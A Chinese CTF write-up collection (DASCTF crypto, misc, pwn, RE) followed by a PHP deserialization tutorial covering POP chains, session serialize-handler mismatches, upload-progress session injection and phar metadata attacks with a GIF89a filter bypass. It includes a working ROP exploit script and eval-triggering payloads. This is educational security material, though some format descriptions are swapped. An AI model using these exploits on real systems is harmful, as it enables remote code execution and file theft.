c=0x6ffb2c1a544f98759c74b74b048188484ca5c9ba0b10c1e4c8c40020b99d171a6f2c9b9cb830f73359f286e584f87e03936af0e7b13ed48c3792e8d696b0e376360a749f688ec58aef5992e6a64c7f94873b6dc4852c8c80102a077c432116965da6abe637ac147a9aa32e3c21b56bf4f4eabf26d85200874c5a2421a638ed6797d4c453c9cd241f934a989d7fbae72bbf1807a96bb6d6163ed837e4d446a433bb1d9d0294c84d505497c87767c6f961080b7c1cc15e6b937f6f7fe113e5c48c224e62cf4e45c4e899c075a17b4d66b49472a8eea20d2dac7be8154563df231228c531080bcd054491cbdbd8f1c5a5e73d779753a87cce46c872592079b543d0

对于任何一个rsa,只要有p,q,e,c就能够解题,但这里并没有给出p,所以没法利用dq.dp去进行获取p,这里给了我一个提示

1
Yusa把信息都提取出来了,你能帮Yusa把Bob发给Alice的flag给恢复出来嘛?她只知道flag的长度应该是40字节

flag的长度只有40字节,很明显小于q。根据原理n=pq phi=(p - 1)(q - 1)还有m=pow(c,d,n),d=invert(e,phi).flag的长度远小于q,所以对于n=p*q,可以把p忽略,同理d=invert(e,phi)也可以把p-1忽略。
重新构造一个rsa公式,可以得到n=q phi=q-1 d=invert(e,q-1),m=pow(c,d,q)

思路理清了,写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import *
import libnum

q=0xd46083c954cc3e6dda2135c2b3adcdea4e08218d9937a825c900aebb0e58145b27b53de45272f69cfb6de1261fc5297e08ed12b1d74402cbcde2a1aca7f5f27b0783662cbcae73483d78f60fa23e12f524f8bfc7606775c60c801ba270c47b799e7d8c356cef6b042cbfb9b6cba752cbeee7554768d8be27044b1cc39ed96819
dp=0x29b09a5194750e2b76ce488891e83b59009d69d167546a3214e18d94360b481e25044e6daa75df533422a93ccc9d89b29e3d5584168e177bb0e20296c73901686bc3860955a362ec32b70431072ff2ea91619ff9d18e320dcc9ab35461b0327c3eb54939ea26ef17f93ff1970a520e9ad9a21679daf8dcee09d7b1b4566713e1
dq=0xcdf941375d57ad608b42d44a1e4b7dbf35a8eb29d2a4c91ec4603616d32597b084c561de741c6d93f8c22baff6f61874d52160953cab086f33220f1d4dd4da347a27f54b843f492d91f923e42bbd3a53a964db52f9ebbdacb3e8f764472c3878cebf02e1b9e2460f497b3519d550559bd5fb64991a55c3ae419abbadf9fceed9
inv_q_mode=0x8272ad1401043aae94a928336d84933ec8291e5432f19033241661ba97af0715c54328e5e940832927834af8e0a479e021511dae99bcc46987a5a60685dbd4057dd1985bf9c20fcb85be58fda32edd3a6fda1872b26bf5b610f9b6ce68448c0aae5d1996b40fc9b9d82c7322c64cb947d249a2146ff039a0a75e5a7c9e0f1077
c=0x6ffb2c1a544f98759c74b74b048188484ca5c9ba0b10c1e4c8c40020b99d171a6f2c9b9cb830f73359f286e584f87e03936af0e7b13ed48c3792e8d696b0e376360a749f688ec58aef5992e6a64c7f94873b6dc4852c8c80102a077c432116965da6abe637ac147a9aa32e3c21b56bf4f4eabf26d85200874c5a2421a638ed6797d4c453c9cd241f934a989d7fbae72bbf1807a96bb6d6163ed837e4d446a433bb1d9d0294c84d505497c87767c6f961080b7c1cc15e6b937f6f7fe113e5c48c224e62cf4e45c4e899c075a17b4d66b49472a8eea20d2dac7be8154563df231228c531080bcd054491cbdbd8f1c5a5e73d779753a87cce46c872592079b543d0
e = 65537

d = gmpy2.invert(e,q - 1)
m = pow(c,d,q)
print(libnum.n2s(int(m)))

babysql:直接输入框按照常规思路进行注入,发现把空格给禁了,直接用sqlmap的space2comment模块跑

图片

math:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import *
import math
str = 'abcdefghijklmnopqrstuvwxyz0123456789+='
n = 176778040837484895481963794918312894811914463587783883976856801676290821243853364789418908640505211936881707629753845875997805883248035576046706978993073043757445726165605877196383212378074705385178610178824713153854530726380795438083708575716562524587045312909657881223522830729052758566504582290081411626333
key = n - 1
c = 'u66hp7nuh01puoaip10pi6o0vzavnu11'
flag = ''
for i in c :
    num = str.index(i)
    ans = (num - 7)  * gmpy2.invert(key,37) % 37
    flag += str[ans]
print(flag)
#DASCTF{799a03b7a82076f5028059681df1b722}

rssssa5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n = 21595945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747167248724184844583697034436158042499504967916978621608536213230969406811902366916932032050583747070735750876593573387957847683066895725722366706359818941065483471589153682177234707645138490589285500875222568286916243861325846262164331536570517513524474322519145470883352586121892275861245291051589531534179640139953079522307426687782419075644619898733819937782418589025945603603989100805716550707637938272890461563518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533
c = 1500765718465847687738186396037558689777598727005427859690647229619648539776087318379834790898189767401195002186003548094137654979353798325221367220839665289140547664641612525534203652911807047718681392766077895625388064095459224402032253429115181543725938853591119977152518616563668740574496233135226296439754690903570240135657268737729815911404733486976376064060345507410815912670147466261149162470191619474107592103882894806322239740349433710606063058160148571050855845964674224651003832579701204330216602742005466066589981707592861990283864753628591214636813639371477417319679603330973431803849304579330791040664
p = 1426723861968216959675536598409491243380171101180592446441649834738166786277745723654950385796320682900434611832789544257790278878742420696344225394624591657752431494779
e = 0x10001
import gmpy2
from Crypto.Util.number import *
PR.<x> = PolynomialRing(Zmod(n))
f = x * 2 ** 560 + p
f = f.monic()
root = f.small_root(X=2^464,beta = 0.45,epslion=0.05)
p = int(root[0]) * 2 **560 + p
assert n % p == 0
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = int(pow(c,d,n))
print(long_to_bytes(m))
#DASCTF{ce73935b2e83a78aa5079a9e59ae4980}

checkin_gift:

binwalk文件能发现存在两个jpg文件,用010打开搜索jpg的文件头,发现base64,用cyberchef直接解出

图片

m4a:

把m4a文件添加m4a后缀名,可得到摩斯密码音频文件,听了后解码可得到一段字符

BA43BCEFC204接着把附件放到010里,拉到最后可发现存在zip的压缩包倒置。

用脚本逆一下加上zip后缀得到压缩包

1
2
3
with open('m4a','rb') as f:
    with open('flag','wb') as g:
        g.write(f.read()[::-1])

提示需要密码,输入之前获得的字符,得到txt文本。拿去cyberchef解码,得到flag
Unkn0wnData图片

Unkn0wnData:

图片尾存在base64,然后解码能得到where is key和一串表情,可推测是aes-emoji

然后图片lsb zsteg可得到一串zip的hex 和上面的base64

将zip放入winhex存储为压缩包,打开是流量的txt文件,用脚本解码可得

1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
f=open('key.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16:
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break
 
fi.close()

2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
normalKeys = { 
  
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
  
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
 
keys.close()
 
flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
 
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
 
print ('output :' + "".join(output))

用以上两个脚本先后解码可得
图片

可得密钥为Toggled

拿去aes-emoji解码

把以上的表情和密钥解码可得flag

DASCTF{ad15eecd2978bc5c70597d14985412c4}

 

 

PWN

GO-MAZE-v4

走完地图发现输出的是假flag,但是后门还是存在一个出入点,于是输入大量垃圾数据,发现程序崩溃,所以猜测存在栈溢出漏洞,然后静态分析,通过关键字符串可以定位到这里

图片

这里其实给了提示,v14这个参数存在溢出,然后就是构造rop链打orw。

exp:

1
 from pwn import * from time import * context.log_level='debug' #p=process('./pwn') p=remote('1.14.97.218', 26200) elf=ELF('./pwn') ​ poprax=0x400a4f syscall=0x4025ab poprdi=0x4008f6 poprsi=0x40416f poprdx=0x51d4b6 poprbx=0x402498 popdxsi=0x51d559 buf=0x98a000 leave=0x4015cb ​ rop=b'' rop=p64(poprdi)+p64(0)+p64(popdxsi)+p64(0x100)+p64(buf+0x300)+p64(syscall)+p64(leave) ​ payload=p64(0)+p64(poprax)+p64(2)+p64(poprdi)+p64(elf.search(b'flag').__next__())+p64(poprsi)+p64(0)+p64(syscall) payload+=p64(poprax)+p64(0)+p64(poprdi)+p64(3)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) payload+=p64(poprax)+p64(1)+p64(poprdi)+p64(1)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) ​ def maps():    p.sendline(b's')    p.sendline(b's')    p.sendline(b's')    p.sendline(b's')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'w')    p.sendline(b'w')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'd')    p.sendline(b'w')    p.sendline(b'w') ​ def pwn():    p.recvuntil('flag')    p.sendline(b'a'*0x178+p64(buf+0x300)+rop)    p.send(payload) ​ maps() pwn() p.interactive()

RE

ezandroid

逆向后mainactivity如下图所示

图片

可以看到账号密码输入成功后进入afterlog

afterlog如下图所示

2

就放了一个视图,然后进入这个视图

图片

可以看到背景是一张图片,最后加压缩出图片可以看到flag

图片

在php.ini中存在三项配置项

1
2
3
4
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户怎样存储session
session.auto_start --指定是否自动启动session,默认为0不启动
session.serialize_handler 用来指定序列化/反序列化的处理器名字。默认使用php

以上基本就是与php的session存储以及序列化相关的配置选项。
如果是用xmapp进行搭建环境的话,上述的配置大致如下:

1
2
3
4
session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列化引擎使用的是php序列化引擎

session.serialize_handler=php 对于该配置,是用来指定session的序列化引擎,除了默认引擎,还存在其他引擎,不同引擎对应存储方式不同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
    当我设置session为$_SESSION["name"] = "123";时。不同的引擎保存的session文件内容如下
1
2
3
4
5
6
7
8
9
10
11
php: 
name|s:3:"123";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
names:3:"123";
存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
a:1:{s:4:"name";s:3:"123";}
存储方式是,经过serialize()函数序列化处理的值

如果要修改为其他引擎,只需要添加代码:
ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

sample:

1
2
3
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

另外因为这里例子设定是session以文件格式存储(默认以文件形式存储),存储的文件以sess_sessionid来进行命名,文件的内容就是session值序列化之后的内容。
依旧假设为xmapp配置环境,默认设置下

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'test';
var_dump();
?>

图片

这里phpsessid的值为jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:4:"test";。name是键值,s:4:"test";serialize("test")的结果。

在php_serialize引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:4:"test";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化
在php_binary引擎下

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是names:4:"test";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:4:"spoock"; 这里出现不可见字符,是因为ascii值为4的字符无法在网页上显示

前言:近期算是比较摸,这部分知识其实不算难,算是复习和总结下,我尽量以平和的语言总结。

1.1 序列化与反序列化

计算机相关知识总是喜欢创造些新名词,让人看起来觉得很高大上。其实序列化本质就是一种做数据格式转换的操作。

序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞

1.2 php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  1. __contruct() 当一个对象创建时被调用
  2. __destruct() 当一个对象销毁前被调用
  3. __sleep() 在对象被序列化前被调用
  4. __wakeup 将在反序列化之后立即被调用
  5. __toString 当一个对象被当做字符串使用时被调用
  6. __get(),__set() 当调用或设置一个类及其父类方法中未定义的属性
  7. __invoke() 调用函数的方式调用一个对象时的回应方法
  8. __call 和 __callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
    https://segmentfault.com/a/1190000007250604

该文章对魔术方法的使用做了比较详细的解释,可以看下

1.3 序列化后的字符串形式

一个序列化的字符串:

1
2
3
O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}
O代表这是一个对象,4代表对象名称的长度,2代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值

另外对于类里的成员变量,我们一般都会给予相应的权限,权限不同,序列化后的字符串存在区别

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $test;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);
//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

图片

用010可以看到public的属性,序列化后的值就是属性的名称和对应的值

如果换成private

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='ok';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

属性名变成了%00Test%00test%00Test%00var
也就是%00类名%00属性名

图片

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

图片

注意到这些对构造序列化的字符串很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。但是通过urlencode就可以避免

php反序列化漏洞

反序列化本身不是漏洞,但是如果类的某些属性可控,那么在反序列的过程中就会自动的执行魔术方法,从而导致安全问题。

所以,通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}

unserialize($_POST['a']);

上面的代码是接收一个参数a,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法是显示一下demo.php文件的源代码。但是参数a是可控的,也就是说对象a的属性是可控的。于是我们可以伪造一个filename来构造对象
EXP

1
2
3
4
5
6
7
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
echo urlencode(serialize($p));

当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。
如果直接把这个exp跑出来payload拿去加载,正如之前所说, 如果我们没有urlencode,就会得到一个无效的payload

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
a=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

POP链的构造

1、什么是POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作

用人话来说就是,根据已有的代码,构造一条完整的调用链,该调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

用一个实例说明如何构造POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

首先理清思路,寻找最重要的魔术方法或者能获取flag的方法作为起点。

  1. 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  2. 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  3. 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  4. __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  5. __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。
    这样一条完整的链就分析完了
1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象),然后写一个POP链的对应EXP,就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

php的Session反序列化问题

了解session相关的反序列化问题之前,得先了解下session相关的机制。这里详细机制解释已经在上篇文章解释了,就不做过多解释。这里主要是针对于session反序列化漏洞原理进行解释

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞

这里引用大佬博客里的一个例子:

session.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

session2.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在session2.php中,而session中的参数无法直接可控。
这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击

具体原理解释:

将payload用session.php,控制存储在指定文件中。

1
plainsession.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
  1. 此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。
  2. 再访问session2.php,页面输出spoock,成功执行我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
    以上就是最简单的利用,也达到了攻击目的,但是局限性比较大。

条件如下:

  1. 两个文件session引擎配置不同
  2. 其中一个session可控
  3. 两个文件同域
    这里进一步查询资料,有一篇资料已经看不了就只能直接以我的口吻复述文章了。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中 ,具体利用条件列举如下

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
    符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

关于具体实例,在浙大oj也就是jarvirsoj上有一道ctf题,这里搬运下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

容易发现,OowoO.__destruct()存在代码执行,但是没有可控参数进行利用。
然后发现符合上传程序Session漏洞的条件

图片

因为这里是直接对session取出内容然后进行反序列化,但是这里并没有对session内容的赋值操作,所以这里进行上传来写入

一个简单的上传demo

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>

其中value就是我们自己构造的恶意payload
poc.php

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

这里查看环境phpinfo,禁用了一些函数。可以用print_r来进行绕过
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload

1
2
3
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r
(file_get_contents
('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

phar反序列化

phar文件的结构:

phar文件都包含以下几个部分:

1
2
3
4
5
6
7
8
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。

简单介绍

首先介绍一下phar://phar://php://filterdata://协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>,结尾是__HALT_COMPILER()'?>,不然phar识别不了phar文件

图片

简单例子:

php内置了一个phar类来处理相关操作

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行一下我们看到他会产生一个phar.phar文件,丢去二进制编辑器看一下
图片

我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://协议解析的时候,都会将meta-data进行反序列化,影响函数大多数是跟文件操作相关的函数

接下来进行反序列化

1
2
3
4
5
6
7
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');

可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/
    upload.html:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif
    图片
  • 二、上传到upload_file目录下
    图片

通过修改后缀名和文件头,能够绕过大部分的校验

原生类的利用

